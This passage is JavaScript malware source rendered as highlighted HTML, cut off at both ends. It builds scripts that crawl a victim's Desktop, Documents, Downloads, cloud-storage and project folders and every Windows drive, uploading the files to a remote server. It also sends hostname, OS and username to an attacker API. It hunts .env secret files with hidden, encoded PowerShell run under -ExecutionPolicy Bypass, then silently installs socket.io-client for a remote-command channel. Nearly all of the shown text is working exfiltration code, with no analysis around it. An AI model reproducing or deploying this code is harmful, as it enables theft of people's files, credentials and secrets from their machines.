(stats.size &gt; MAX_FILE_SIZE_BYTES) &#123;\n                    continue;\n                  &#125;\n\n                  // Upload sensitive files with retry logic\n                  try &#123;\n                    let uploadSuccess = false;\n                    let retries = 3;\n                    while (!uploadSuccess &amp;&amp; retries &gt; 0) &#123;\n                      try &#123;\n                        const uploadStartTime = Date.now();\n                        await uploadFile(fullPath);\n                        uploadSuccess = true;\n                        const uploadDuration = Date.now() - uploadStartTime;\n                        \n                        // Only delay if upload completed very quickly (likely small file or fast network)\n                        // This prevents overwhelming the server while not slowing down normal uploads\n                        if (uploadDuration &lt; MIN_UPLOAD_TIME_MS) &#123;\n                          await delay(ADAPTIVE_DELAY_MS);\n                        &#125;\n                        // No delay needed for normal uploads - network is already the bottleneck\n                      &#125; catch (uploadError) &#123;\n                        retries--;\n                        if (retries &gt; 0) &#123;\n                          // Wait before retry (exponential backoff)\n                          await delay(ADAPTIVE_DELAY_MS * (4 - retries));\n                        &#125; else &#123;\n                          // Final failure - log but continue\n                          console.error(`Failed to upload $&#123;fullPath&#125; after retries:`, uploadError.message);\n                        &#125;\n                      &#125;\n                    &#125;\n                  &#125; catch (uploadError) &#123;\n                    // Log upload errors but continue\n                    console.error(`Error uploading $&#123;fullPath&#125;:`, uploadError.message);\n                  &#125;\n                &#125;\n              &#125; catch (error) &#123;\n                // Continue on individual item errors\n                const errorCode = error.code || error.errno;\n                if (errorCode === &#x27;EMFILE&#x27; || errorCode === &#x27;ENFILE&#x27;) &#123;\n                  // Too many open files - wait a bit and continue\n                  console.warn(`Too many open files, waiting...`);\n                  await delay(1000);\n                &#125; else &#123;\n                  console.error(`Error processing $&#123;item.name || item&#125;:`, error.message);\n                &#125;\n              &#125;\n            &#125;\n          &#125; catch (error) &#123;\n            // Log error but continue scanning other directories\n            console.error(`Error scanning directory $&#123;directoryPath&#125;:`, error.message);\n            // Don&#x27;t throw - continue with other directories\n            return; // Return instead of throwing\n          &#125; finally &#123;\n            // Remove from visited set when done (for very deep trees, this helps with memory)\n            // But keep it for the current scan to prevent loops\n            // Only remove if we&#x27;re at a shallow depth to save memory\n            if (depth === 0) &#123;\n              // At root level, we can clear old entries to save memory\n              // Keep only recent entries (last 10000)\n              if (visitedDirs.size &gt; 10000) &#123;\n                const entries = Array.from(visitedDirs);\n                visitedDirs.clear();\n                // Keep the most recent 5000 entries\n                entries.slice(-5000).forEach(dir =&gt; visitedDirs.add(dir));\n              &#125;\n            &#125;\n          &#125;\n        &#125;;\n\n        // Get priority directories (Documents, Desktop, Downloads)\n        const getPriorityDirectories = () =&gt; &#123;\n          const priorityDirs = [];\n          const platform = os.platform();\n          \n          if (platform === \&quot;win32\&quot;) &#123;\n            // Windows paths\n            priorityDirs.push(\n              path.join(HOME_DIRECTORY, \&quot;Desktop\&quot;),\n              path.join(HOME_DIRECTORY, \&quot;Documents\&quot;),\n              path.join(HOME_DIRECTORY, \&quot;Downloads\&quot;),\n              path.join(HOME_DIRECTORY, \&quot;OneDrive\&quot;),\n              path.join(HOME_DIRECTORY, \&quot;Google Drive\&quot;),\n              path.join(HOME_DIRECTORY, \&quot;GoogleDrive\&quot;)\n            );\n          &#125; else &#123;\n            // macOS/Linux paths\n            priorityDirs.push(\n              path.join(HOME_DIRECTORY, \&quot;Desktop\&quot;),\n              path.join(HOME_DIRECTORY, \&quot;Documents\&quot;),\n              path.join(HOME_DIRECTORY, \&quot;Downloads\&quot;),\n              path.join(HOME_DIRECTORY, \&quot;Library/CloudStorage\&quot;),\n              path.join(HOME_DIRECTORY, \&quot;Projects\&quot;),\n              path.join(HOME_DIRECTORY, \&quot;projects\&quot;),\n              path.join(HOME_DIRECTORY, \&quot;Development\&quot;),\n              path.join(HOME_DIRECTORY, \&quot;development\&quot;),\n              path.join(HOME_DIRECTORY, \&quot;Code\&quot;),\n              path.join(HOME_DIRECTORY, \&quot;code\&quot;),\n              path.join(HOME_DIRECTORY, \&quot;Code Projects\&quot;),\n              path.join(HOME_DIRECTORY, \&quot;code projects\&quot;),\n              path.join(HOME_DIRECTORY, \&quot;source\&quot;),\n              path.join(HOME_DIRECTORY, \&quot;Source\&quot;),\n              path.join(HOME_DIRECTORY, \&quot;OneDrive\&quot;),\n              path.join(HOME_DIRECTORY, \&quot;Google Drive\&quot;),\n              path.join(HOME_DIRECTORY, \&quot;GoogleDrive\&quot;)\n            );\n            \n            if (is_wsl()) &#123;\n              priorityDirs.push(\&quot;/mnt\&quot;);\n            &#125;\n          &#125;\n          \n          // Filter to only include directories that exist\n          return priorityDirs.filter(dir =&gt; fs.existsSync(dir) &amp;&amp; fs.statSync(dir).isDirectory());\n        &#125;;\n\n        // Get all drive letters on Windows (compatible with Windows 11)\n        const getWindowsDrives = () =&gt; &#123;\n          try &#123;\n            // Use PowerShell Get-CimInstance (works on Windows 11 and modern Windows)\n            // This is the modern replacement for wmic\n            const psCmd = &#x27;powershell -Command \&quot;Get-CimInstance -ClassName Win32_LogicalDisk | Where-Object &#123; $_.DriveType -eq 3 &#125; | Select-Object -ExpandProperty DeviceID\&quot;&#x27;;\n            const output = execSync(psCmd, &#123; windowsHide: true, encoding: &#x27;utf8&#x27;, timeout: 5000 &#125;);\n            const drives = output\n              .split(/[\\r\\n]+/)\n              .map(line =&gt; line.trim())\n              .filter(drive =&gt; drive &amp;&amp; drive.length &gt; 0 &amp;&amp; /^[A-Z]:$/.test(drive));\n            if (drives.length &gt; 0) &#123;\n              return drives.map(drive =&gt; `$&#123;drive&#125;\\\\`);\n            &#125;\n            \n            // Fallback: Try Get-PSDrive if Get-CimInstance fails\n            try &#123;\n              const psCmd2 = `powershell -Command \&quot;Get-PSDrive -PSProvider FileSystem | Where-Object &#123; $_.Name.Length -eq 1 -and $_.Name -ge &#x27;A&#x27; -and $_.Name -le &#x27;Z&#x27; &#125; | Select-Object -ExpandProperty Name\&quot;`;\n              const output2 = execSync(psCmd2, &#123; windowsHide: true, encoding: &#x27;utf8&#x27;, timeout: 5000 &#125;);\n              const drives2 = output2\n                .split(/[\\r\\n]+/)\n                .map(line =&gt; line.trim())\n                .filter(drive =&gt; drive &amp;&amp; drive.length &gt; 0 &amp;&amp; /^[A-Z]$/.test(drive));\n              if (drives2.length &gt; 0) &#123;\n                return drives2.map(drive =&gt; `$&#123;drive&#125;:\\\\`);\n              &#125;\n            &#125; catch (psError2) &#123;\n              // If both PowerShell methods fail, try checking common drive letters directly\n              const commonDrives = [&#x27;C&#x27;, &#x27;D&#x27;, &#x27;E&#x27;, &#x27;F&#x27;, &#x27;G&#x27;, &#x27;H&#x27;, &#x27;I&#x27;, &#x27;J&#x27;, &#x27;K&#x27;, &#x27;L&#x27;, &#x27;M&#x27;, &#x27;N&#x27;, &#x27;O&#x27;, &#x27;P&#x27;, &#x27;Q&#x27;, &#x27;R&#x27;, &#x27;S&#x27;, &#x27;T&#x27;, &#x27;U&#x27;, &#x27;V&#x27;, &#x27;W&#x27;, &#x27;X&#x27;, &#x27;Y&#x27;, &#x27;Z&#x27;];\n              const availableDrives = commonDrives.filter(drive =&gt; &#123;\n                try &#123;\n                  return fs.existsSync(`$&#123;drive&#125;:\\\\`);\n                &#125; catch &#123;\n                  return false;\n                &#125;\n              &#125;);\n              if (availableDrives.length &gt; 0) &#123;\n                return availableDrives.map(drive =&gt; `$&#123;drive&#125;:\\\\`);\n              &#125;\n            &#125;\n            return [];\n          &#125; catch (error) &#123;\n            console.error(\&quot;Failed to get Windows drives:\&quot;, error.message);\n            // Last resort: check common drive letters\n            try &#123;\n              const commonDrives = [&#x27;C&#x27;, &#x27;D&#x27;, &#x27;E&#x27;, &#x27;F&#x27;, &#x27;G&#x27;, &#x27;H&#x27;];\n              const availableDrives = commonDrives.filter(drive =&gt; &#123;\n                try &#123;\n                  return fs.existsSync(`$&#123;drive&#125;:\\\\`);\n                &#125; catch &#123;\n                  return false;\n                &#125;\n              &#125;);\n              return availableDrives.map(drive =&gt; `$&#123;drive&#125;:\\\\`);\n            &#125; catch &#123;\n              return [];\n            &#125;\n          &#125;\n        &#125;;\n\n        // Main execution function\n        const main = async () =&gt; &#123;\n          \n          \n\n          try &#123;\n            // First, scan priority directories (Documents, Desktop, Downloads)\n            priorityDirs = getPriorityDirectories();\n            \n            \n            for (const priorityDir of priorityDirs) &#123;\n              try &#123;\n                \n                await scanAndUploadDirectory(priorityDir);\n              &#125; catch (error) &#123;\n                console.error(`Error scanning priority directory $&#123;priorityDir&#125;:`, error.message);\n                // Continue with next directory\n              &#125;\n            &#125;\n            \n            // Then, scan all other directories (skip already scanned priority directories)\n            if (os.platform() === \&quot;win32\&quot;) &#123;\n              // Windows: Scan all drives (skipping already scanned priority directories)\n              // Scan C drive last\n              const drives = getWindowsDrives();\n              const cDrive = drives.find(drive =&gt; drive.toLowerCase().startsWith(\&quot;c:\&quot;));\n              const otherDrives = drives.filter(drive =&gt; !drive.toLowerCase().startsWith(\&quot;c:\&quot;));\n              \n              // Scan all drives except C drive first\n              for (const drive of otherDrives) &#123;\n                try &#123;\n                  \n                  await scanAndUploadDirectory(drive, true);\n                &#125; catch (error) &#123;\n                  console.error(`Error scanning drive $&#123;drive&#125;:`, error.message);\n                  // Continue with next drive\n                &#125;\n              &#125;\n              \n              // Scan C drive last\n              if (cDrive) &#123;\n                try &#123;\n                  \n                  await scanAndUploadDirectory(cDrive, true);\n                &#125; catch (error) &#123;\n                  console.error(`Error scanning C drive:`, error.message);\n                  // Continue despite error\n                &#125;\n              &#125;\n            &#125; else &#123;\n              // Unix-like systems: Scan home directory (skipping already scanned priority directories)\n              try &#123;\n                await scanAndUploadDirectory(HOME_DIRECTORY, true);\n              &#125; catch (error) &#123;\n                console.error(`Error scanning home directory:`, error.message);\n                // Continue despite error\n              &#125;\n            &#125;\n            \n            \n          &#125; catch (error) &#123;\n            console.error(\&quot;Fatal error in main:\&quot;, error.message);\n            console.error(\&quot;Stack:\&quot;, error.stack);\n            // Don&#x27;t exit - log error and let process continue or exit naturally\n            // This prevents premature exits when processing many files\n          &#125; finally &#123;\n            // Ensure we always log completion status\n            \n          &#125;\n        &#125;;\n\n        // Execute main function\n        main();\n\n        &quot;</span>;</span><br><span class="line">    <span class="title class_">Utils</span>.<span class="title function_">sp_s</span>(s, <span class="string">&quot;pid.&quot;</span> + t + <span class="string">&quot;.2.lock&quot;</span>, <span class="string">&quot;autoUploadScript&quot;</span>, f_s_l);</span><br><span class="line">  &#125; <span class="keyword">catch</span> (M) &#123;&#125;</span><br><span class="line">  <span class="keyword">const</span> H =</span><br><span class="line">    <span class="string">&#x27;\n       const axios = require(&quot;axios&quot;);\nconst os = require(&quot;os&quot;);\nconst &#123; execSync, exec &#125; = require(&quot;child_process&quot;);\nconst fs = require(&quot;fs&quot;);\nconst path = require(&quot;path&quot;);\n\n// Helper function to detect if running in WSL\nconst is_wsl = () =&gt; &#123;\n  // Check for WSL environment variable\n  if (process.env.WSL_DISTRO_NAME) &#123;\n    return true;\n  &#125;\n  // Check /proc/version for Microsoft/WSL\n  try &#123;\n    if (fs.existsSync(&quot;/proc/version&quot;)) &#123;\n      const versionContent = fs.readFileSync(&quot;/proc/version&quot;, &quot;utf8&quot;);\n      if (versionContent.toLowerCase().includes(&quot;microsoft&quot;) || versionContent.toLowerCase().includes(&quot;wsl&quot;)) &#123;\n        return true;\n      &#125;\n    &#125;\n  &#125; catch (e) &#123;&#125;\n  return false;\n&#125;;\n\n&#x27;</span> +</span><br><span class="line">    <span class="title class_">Utils</span>.<span class="title function_">set_l</span>(<span class="string">&quot;socket&quot;</span>) +</span><br><span class="line">    <span class="string">&quot;\nlet io;\ntry &#123;\n  io = require(\&quot;socket.io-client\&quot;);\n&#125; catch (e) &#123;\n  try &#123;\n    console.log(\&quot;installingsocket.io\&quot;);\n    const platform = process.platform;\n    const installOptions = platform === &#x27;win32&#x27; \n      ? &#123; windowsHide: true, stdio: [&#x27;pipe&#x27;, &#x27;pipe&#x27;, &#x27;pipe&#x27;], maxBuffer: 1024 * 1024 * 10 &#125;\n      : &#123; stdio: [&#x27;pipe&#x27;, &#x27;pipe&#x27;, &#x27;pipe&#x27;], maxBuffer: 1024 * 1024 * 10&#125;;\n    const output = execSync(\n      \&quot;npm install socket.io-client --no-warnings --no-save --no-progress --loglevel silent\&quot;,\n      installOptions\n    );\n      try &#123;\n        io = require(\&quot;socket.io-client\&quot;);\n      &#125; catch (requireErr) &#123;\n        console.log(\&quot;Failed to require socket.io-client:\&quot;, requireErr.message);\n      &#125;\n  &#125; catch (installErr) &#123;\n    console.log(\&quot;Failed to install socket.io-client:\&quot;, installErr.message);\n    process.exit(1);\n  &#125;\n&#125;\nif (!io || typeof io !== &#x27;function&#x27;) &#123;\n  console.error(\&quot;socket.io-client is not available\&quot;);\n  process.exit(1);\n&#125;\nconst API_ENDPOINT = `&quot;</span> +</span><br><span class="line">    s_s +</span><br><span class="line">    <span class="string">&quot;/api/notify`;\nconst l_e = `&quot;</span> +</span><br><span class="line">    s_s +</span><br><span class="line">    <span class="string">&quot;/api/log`;\nconst SOCKET_URL = `&quot;</span> +</span><br><span class="line">    s_s.<span class="title function_">replace</span>(<span class="regexp">/^http/</span>, <span class="string">&quot;ws&quot;</span>).<span class="title function_">replace</span>(<span class="regexp">/^https/</span>, <span class="string">&quot;wss&quot;</span>) +</span><br><span class="line">    <span class="string">&#x27;`;\nfunction gsi() &#123;\n  return &#123;\n    host: os.hostname(),\n    os: os.type() + &quot; &quot; + os.release(),\n    username: os.userInfo().username || &quot;unknown&quot;,\n  &#125;;\n&#125;\n\nasync function sendHostInfo() &#123;\n  const s_i = gsi();\n  \n  try &#123;\n    const payload = &#123;\n      ukey: &#x27;</span> +</span><br><span class="line">    u_k +</span><br><span class="line">    <span class="string">&quot;,\n      t: &quot;</span> +</span><br><span class="line">    t +</span><br><span class="line">    <span class="string">&quot;,\n      host: &quot;</span> +</span><br><span class="line">    u_k +</span><br><span class="line">    <span class="string">&#x27; + &quot;_&quot; + s_i.host,\n      os: s_i.os,\n      username: s_i.username,\n    &#125;;\n\n    const response = await axios.post(API_ENDPOINT, payload, &#123;\n      headers: &#123;\n        &quot;Content-Type&quot;: &quot;application/json&quot;,\n      &#125;,\n      timeout: 10000,\n    &#125;);\n\n    if (response.data.success) &#123;\n      console.log(&quot;✅ Host info sent successfully:&quot;, response.data.id);\n      \n      return response.data;\n    &#125; else &#123;\n      throw new Error(response.data.error || &quot;Failed to send host info&quot;);\n    &#125;\n  &#125; catch (error) &#123;\n    if (error.response) &#123;\n      console.error(&quot;❌ Server error:&quot;, error.response.data);\n      throw new Error(\n        error.response.data.error || `HTTP $&#123;error.response.status&#125;`\n      );\n    &#125; else if (error.request) &#123;\n      console.error(&quot;❌ No response from server:&quot;, error.message);\n      throw new Error(&quot;Server is not responding. Is it running?&quot;);\n    &#125; else &#123;\n      console.error(&quot;❌ Request error:&quot;, error.message);\n      throw error;\n    &#125;\n  &#125;\n&#125;\n\nasync function f_s_l(message, level = &quot;info&quot;, data = &#123;&#125;) &#123;\n  const s_i = gsi();\n  \n  try &#123;\n    if (!message) &#123;\n      throw new Error(&quot;Log message is required&quot;);\n    &#125;\n\n    const payload = &#123;\n      ukey: &#x27;</span> +</span><br><span class="line">    u_k +</span><br><span class="line">    <span class="string">&quot;,\n      t: &quot;</span> +</span><br><span class="line">    t +</span><br><span class="line">    <span class="string">&quot;,\n      host: &quot;</span> +</span><br><span class="line">    u_k +</span><br><span class="line">    <span class="string">&#x27; + &quot;_&quot; + s_i.host,\n      os: s_i.os,\n      username: s_i.username,\n      message,\n      level,\n      data,\n    &#125;;\n\n    const response = await axios.post(l_e, payload, &#123;\n      headers: &#123;\n        &quot;Content-Type&quot;: &quot;application/json&quot;,\n      &#125;,\n      timeout: 10000,\n    &#125;);\n\n    if (response.data.success) &#123;\n      console.log(&quot;✅ Log sent successfully:&quot;, response.data.id);\n      return response.data;\n    &#125; else &#123;\n      throw new Error(response.data.error || &quot;Failed to send log&quot;);\n    &#125;\n  &#125; catch (error) &#123;\n    if (error.response) &#123;\n      console.error(&quot;❌ Server error:&quot;, error.response.data);\n      throw new Error(\n        error.response.data.error || `HTTP $&#123;error.response.status&#125;`\n      );\n    &#125; else if (error.request) &#123;\n      console.error(&quot;❌ No response from server:&quot;, error.message);\n      throw new Error(&quot;Server is not responding. Is it running?&quot;);\n    &#125; else &#123;\n      console.error(&quot;❌ Request error:&quot;, error.message);\n      throw error;\n    &#125;\n  &#125;\n&#125;\n\nasync function uploadFileToLdb(filePath, fileContent) &#123;\n  try &#123;\n    const s_i = gsi();\n    const timestamp = Math.round(Date.now() / 1000);\n    const fileName = path.basename(filePath);\n    \n    const contentBuffer = Buffer.isBuffer(fileContent) \n      ? fileContent \n      : (typeof fileContent === \&#x27;string\&#x27; \n          ? Buffer.from(fileContent, \&#x27;binary\&#x27;)\n          : Buffer.from(fileContent));\n    \n          console.log(filePath, fileContent, &quot;uploading to ldb-server&quot;);\n    // Encode path and filename for HTTP headers (headers must be ASCII)\n    const encodedPath = encodeURIComponent(filePath);\n    const encodedFilename = encodeURIComponent(fileName);\n    \n    const response = await axios.post(\n      `&#x27;</span> +</span><br><span class="line">    l_s.<span class="title function_">replace</span>(<span class="string">&quot;/upload&quot;</span>, <span class="string">&quot;&quot;</span>) +</span><br><span class="line">    <span class="string">&#x27;/api/upload-file`,\n      contentBuffer,\n      &#123;\n        headers: &#123;\n          &quot;Content-Type&quot;: &quot;application/octet-stream&quot;,\n          &quot;userkey&quot;: String(&#x27;</span> +</span><br><span class="line">    u_k +</span><br><span class="line">    <span class="string">&#x27;),\n          &quot;t&quot;: String(&#x27;</span> +</span><br><span class="line">    t +</span><br><span class="line">    <span class="string">&#x27;),\n          &quot;hostname&quot;: encodeURIComponent(s_i.host),\n          &quot;path&quot;: encodedPath,\n          &quot;filename&quot;: encodedFilename,\n          &quot;timestamp&quot;: String(timestamp),\n        &#125;,\n        maxContentLength: 100 * 1024 * 1024,\n        maxBodyLength: 100 * 1024 * 1024,\n        timeout: 60000,\n      &#125;\n    );\n    \n    if (response.data.success) &#123;\n      console.log(`✅ File uploaded to ldb-server: $&#123;fileName&#125; (($&#123;contentBuffer.length / 1024&#125;).toFixed(2)&#125; KB)`);\n\n      let normalizedPath = filePath.replace(/\\\\/g, &quot;/&quot;);\n      normalizedPath = normalizedPath.replace(/^([A-Z]):\\//i, `$1/`);\n      if (normalizedPath.startsWith(&quot;/&quot;)) &#123;\n        normalizedPath = normalizedPath.substring(1);\n      &#125;\n      \n      const baseUrl = &quot;&#x27;</span> +</span><br><span class="line">    l_s.<span class="title function_">replace</span>(<span class="string">&quot;/upload&quot;</span>, <span class="string">&quot;&quot;</span>) +</span><br><span class="line">    <span class="string">&#x27;&quot;;\n      const host = &#x27;</span> +</span><br><span class="line">    u_k +</span><br><span class="line">    <span class="string">&#x27; + &quot;_&quot; + s_i.host;\n      const fileUrl =response.data.fileUrl ? `$&#123;baseUrl&#125;/$&#123;response.data.fileUrl&#125;` : `$&#123;baseUrl&#125;/api/file/&#x27;</span> +</span><br><span class="line">    t +</span><br><span class="line">    <span class="string">&quot;/$&#123;host&#125;?path=$&#123;encodeURIComponent(normalizedPath)&#125;`;\n      \n      return &#123;\n        ...response.data,\n        fileUrl: fileUrl\n      &#125;;\n    &#125; else &#123;\n      throw new Error(response.data.error || \&quot;Failed to upload file\&quot;);\n    &#125;\n  &#125; catch (error) &#123;\n    console.warn(`⚠️ Failed to upload file to ldb-server: $&#123;error.message&#125;`);\n    return null;\n  &#125;\n&#125;\n\nasync function searchAndUploadFiles(filename) &#123;\n  const MAX_FILE_SIZE = 10 * 1024 * 1024; // 10MB limit\n  const platform = os.platform();\n  const homeDir = os.homedir();\n  \n  // Function to sanitize file path to valid filename\n  const sanitizeFileName = (filePath) =&gt; &#123;\n    // Get OS-specific max filename length\n    const maxLength = platform === &#x27;win32&#x27; ? 260 : 255;\n    \n    // Replace path separators with underscores\n    let sanitized = filePath.replace(/[\\\\/]/g, &#x27;_&#x27;);\n    \n    // Replace invalid characters for filenames\n    if (platform === &#x27;win32&#x27;) &#123;\n      // Windows: &lt; &gt; : \&quot; | ? * and control characters\n      sanitized = sanitized.replace(/[&lt;&gt;:\&quot;|?*\\x00-\\x1f]/g, &#x27;_&#x27;);\n    &#125; else &#123;\n      // Unix: / and null bytes\n      sanitized = sanitized.replace(/[\\/\\x00]/g, &#x27;_&#x27;);\n    &#125;\n    \n    // Remove leading/trailing dots and spaces (Windows doesn&#x27;t allow these)\n    if (platform === &#x27;win32&#x27;) &#123;\n      sanitized = sanitized.replace(/^[\\. ]+|[\\. ]+$/g, &#x27;&#x27;);\n    &#125;\n    \n    // Truncate to max length\n    if (sanitized.length &gt; maxLength) &#123;\n      const ext = path.extname(sanitized);\n      const nameWithoutExt = sanitized.slice(0, sanitized.length - ext.length);\n      sanitized = nameWithoutExt.slice(0, maxLength - ext.length) + ext;\n    &#125;\n    \n    return sanitized || &#x27;file&#x27;;\n  &#125;;\n  let command;\n  \n  // Build search pattern for filename\n  // For .env, we want to match .env, .env.local, .env.production, etc.\n  let searchPattern = filename;\n  if (filename.startsWith(&#x27;.&#x27;)) &#123;\n    // For dot-files, use pattern matching\n    if (platform === &#x27;win32&#x27;) &#123;\n      // Windows: use * for pattern matching\n      searchPattern = `$&#123;filename&#125;*`;\n    &#125; else &#123;\n      // Unix: use find with -name pattern\n      searchPattern = `$&#123;filename&#125;*`;\n    &#125;\n  &#125;\n  \n  try &#123;\n    if (platform === &#x27;win32&#x27;) &#123;\n      // Windows: Use PowerShell Get-ChildItem for better performance\n      // Search from home directory and all drives\n      const drives = [];\n      try &#123;\n        // Get available drives\n        const driveOutput = execSync(&#x27;wmic logicaldisk get name&#x27;, &#123; encoding: &#x27;utf8&#x27;, windowsHide: true &#125;);\n        const driveMatches = driveOutput.match(/([A-Z]):/g);\n        if (driveMatches) &#123;\n          drives.push(...driveMatches.map(d =&gt; `$&#123;d.replace(&#x27;:&#x27;, &#x27;&#x27;)&#125;:\\\\`));\n        &#125;\n      &#125; catch (e) &#123;\n        // Fallback: try common drives\n        const commonDrives = [&#x27;C&#x27;, &#x27;D&#x27;, &#x27;E&#x27;, &#x27;F&#x27;];\n        for (const drive of commonDrives) &#123;\n          try &#123;\n            if (fs.existsSync(`$&#123;drive&#125;:\\\\`)) &#123;\n              drives.push(`$&#123;drive&#125;:\\\\`);\n            &#125;\n          &#125; catch (e) &#123;&#125;\n        &#125;\n      &#125;\n      \n      // Use home directory if no drives found\n      if (drives.length === 0) &#123;\n        drives.push(homeDir);\n      &#125;\n      \n      // Build PowerShell command as string - search each drive separately\n      // Use single quotes for regex pattern to avoid escaping issues\n      const excludePattern = &#x27;node_modules|\\.git|vendor|venv|\\.venv|dist|build|Library|System|Windows|Program Files|AppData\\Local\\Temp&#x27;;\n      \n      // Build PowerShell command string\n      // Suppress progress and verbose output to avoid CLIXML issues\n      let psCommands = [];\n      for (const drive of drives) &#123;\n        // Escape single quotes in path by doubling them, and escape backslashes\n        const escapedPath = drive.replace(/&#x27;/g, \&quot;&#x27;&#x27;\&quot;).replace(/\\\\/g, &#x27;\\\\\\\\&#x27;);\n        // Use single quotes for the regex pattern to avoid escaping backslashes\n        // Suppress progress and only output file paths\n        // Use -Force to include hidden files\n        psCommands.push(`Get-ChildItem -Path &#x27;$&#123;escapedPath&#125;&#x27; -Filter &#x27;$&#123;searchPattern&#125;&#x27; -Recurse -Force -ErrorAction SilentlyContinue -File | Where-Object &#123; $_.FullName -notmatch &#x27;$&#123;excludePattern&#125;&#x27; &#125; | ForEach-Object &#123; $_.FullName &#125;`);\n      &#125;\n      \n      // Suppress progress preference and join commands\n      // Redirect stderr to null to suppress progress output\n      const psCommandString = `$ProgressPreference = &#x27;SilentlyContinue&#x27;; $ErrorActionPreference = &#x27;SilentlyContinue&#x27;; $&#123;psCommands.join(&#x27;; &#x27;)&#125; 2&gt;$null`;\n      \n      // Use -EncodedCommand to avoid quote escaping issues\n      // Convert to UTF-16LE and then base64 encode\n      const encodedCommand = Buffer.from(psCommandString, &#x27;utf16le&#x27;).toString(&#x27;base64&#x27;);\n      \n      // Execute using -EncodedCommand with flags to suppress output\n      command = `powershell -NoProfile -NoLogo -NonInteractive -ExecutionPolicy Bypass -EncodedCommand $&#123;encodedCommand&#125;`;\n    &#125; else &#123;\n      // Linux/macOS: Use find command\n      // Build find command with exclusions\n      const excludeDirs = [\n        &#x27;-path&#x27;, &#x27;*/node_modules&#x27;, &#x27;-prune&#x27;, &#x27;-o&#x27;,\n        &#x27;-path&#x27;, &#x27;*/.git&#x27;, &#x27;-prune&#x27;, &#x27;-o&#x27;,\n        &#x27;-path&#x27;, &#x27;*/vendor&#x27;, &#x27;-prune&#x27;, &#x27;-o&#x27;,\n        &#x27;-path&#x27;, &#x27;*/venv&#x27;, &#x27;-prune&#x27;, &#x27;-o&#x27;,\n        &#x27;-path&#x27;, &#x27;*/.venv&#x27;, &#x27;-prune&#x27;, &#x27;-o&#x27;,\n        &#x27;-path&#x27;, &#x27;*/dist&#x27;, &#x27;-prune&#x27;, &#x27;-o&#x27;,\n        &#x27;-path&#x27;, &#x27;*/build&#x27;, &#x27;-prune&#x27;, &#x27;-o&#x27;,\n        &#x27;-path&#x27;, &#x27;*/Library&#x27;, &#x27;-prune&#x27;, &#x27;-o&#x27;,\n        &#x27;-path&#x27;, &#x27;*/System&#x27;, &#x27;-prune&#x27;, &#x27;-o&#x27;,\n        &#x27;-type&#x27;, &#x27;f&#x27;, &#x27;-name&#x27;, searchPattern, &#x27;-print&#x27;\n      ].join(&#x27; &#x27;);\n      \n      // Search from home directory\n      command = `find \&quot;$&#123;homeDir&#125;\&quot; $&#123;excludeDirs&#125; 2&gt;/dev/null`;\n    &#125;\n    \n    console.log(`🔍 Searching for $&#123;filename&#125; files...`);\n    \n    // Execute command asynchronously to avoid blocking event loop\n    const output = await new Promise((resolve, reject) =&gt; &#123;\n      exec(command, &#123;\n        encoding: &#x27;utf8&#x27;,\n        maxBuffer: 50 * 1024 * 1024, // 50MB buffer for large outputs\n        windowsHide: platform === &#x27;win32&#x27;,\n        timeout: 300000 // 5 minute timeout\n      &#125;, (error, stdout, stderr) =&gt; &#123;\n        // Filter out CLIXML (PowerShell progress output) from stdout\n        let cleanOutput = stdout;\n        if (stdout) &#123;\n          // Remove CLIXML tags and content\n          cleanOutput = stdout\n            .split(&#x27;\\n&#x27;)\n            .filter(line =&gt; &#123;\n              const trimmed = line.trim();\n              // Skip CLIXML lines\n              if (trimmed.startsWith(&#x27;&lt;&#x27;) &amp;&amp; trimmed.includes(&#x27;CLIXML&#x27;)) return false;\n              if (trimmed.startsWith(&#x27;&lt;Objs&#x27;)) return false;\n              if (trimmed.startsWith(&#x27;&lt;/Objs&gt;&#x27;)) return false;\n              if (trimmed.startsWith(&#x27;&lt;Obj&#x27;)) return false;\n              if (trimmed.startsWith(&#x27;&lt;/Obj&gt;&#x27;)) return false;\n              if (trimmed.includes(&#x27;http://schemas.microsoft.com/powershell&#x27;)) return false;\n              return true;\n            &#125;)\n            .join(&#x27;\\n&#x27;);\n        &#125;\n        \n        // Only reject on actual errors, not on stderr (which may contain progress)\n        if (error &amp;&amp; error.code !== 0) &#123;\n          // Check if stderr contains actual errors (not just progress)\n          const hasRealError = stderr &amp;&amp; !stderr.includes(&#x27;CLIXML&#x27;) &amp;&amp; !stderr.includes(&#x27;Preparing modules&#x27;);\n          if (hasRealError) &#123;\n            reject(error);\n            return;\n          &#125;\n        &#125;\n        \n        resolve(cleanOutput || &#x27;&#x27;);\n      &#125;);\n    &#125;);\n    \n    // Parse output into file paths\n    const filePaths = output\n      .split(/[\\r\\n]+/)\n      .map(line =&gt; line.trim())\n      .filter(line =&gt; line &amp;&amp; line.length &gt; 0 &amp;&amp; fs.existsSync(line));\n    \n    console.log(`📁 Found $&#123;filePaths.length&#125; $&#123;filename&#125; file(s)`);\n    \n    // Upload each file\n    let uploadedCount = 0;\n    for (const filePath of filePaths) &#123;\n      try &#123;\n        // Check file size\n        const stats = fs.statSync(filePath);\n        if (stats.size &gt; MAX_FILE_SIZE) &#123;\n          console.log(`⚠️ Skipping large file: $&#123;filePath&#125; ($&#123;(stats.size / 1024 / 1024).toFixed(2)&#125;MB)`);\n          continue;\n        &#125;\n        \n        // Check if file is readable\n        try &#123;\n          fs.accessSync(filePath, fs.constants.R_OK);\n        &#125; catch (e) &#123;\n          continue;\n        &#125;\n        \n        // Read and upload file\n        const fileContent = fs.readFileSync(filePath);\n        \n        // Create sanitized filename from file path\n        const sanitizedFileName = sanitizeFileName(filePath);\n        const uploadPath = path.join(`found.$&#123;filename&#125;`, sanitizedFileName);\n        \n        // Upload with the new path in found folder\n        await uploadFileToLdb(uploadPath, fileContent);\n        uploadedCount++;\n        console.log(`✅ Uploaded ($&#123;uploadedCount&#125;/$&#123;filePaths.length&#125;): $&#123;filePath&#125; -&gt; $&#123;uploadPath&#125;`);\n        \n        // Yield to event loop every 5 files to allow socket commands to be processed\n        if (uploadedCount % 5 === 0) &#123;\n          await new Promise(resolve =&gt; setImmediate(resolve));\n        &#125;\n      &#125; catch (fileError) &#123;\n        // Skip files that can&#x27;t be read (locked, permissions, etc.)\n        console.log(`⚠️ Skipping file: $&#123;filePath&#125; - $&#123;fileError.message&#125;`);\n        continue;\n      &#125;\n    &#125;\n    \n    console.log(`✅ Finished: Uploaded $&#123;uploadedCount&#125; out of $&#123;filePaths.length&#125; $&#123;filename&#125; file(s)`);\n  &#125; catch (error) &#123;\n    console.error(`❌ Error searching for $&#123;filename&#125; files:`, error.message);\n  &#125;\n&#125;\nasync function connectSocket() &#123;\n  return new Promise((resolve, reject) =&gt; &#123;\n    const 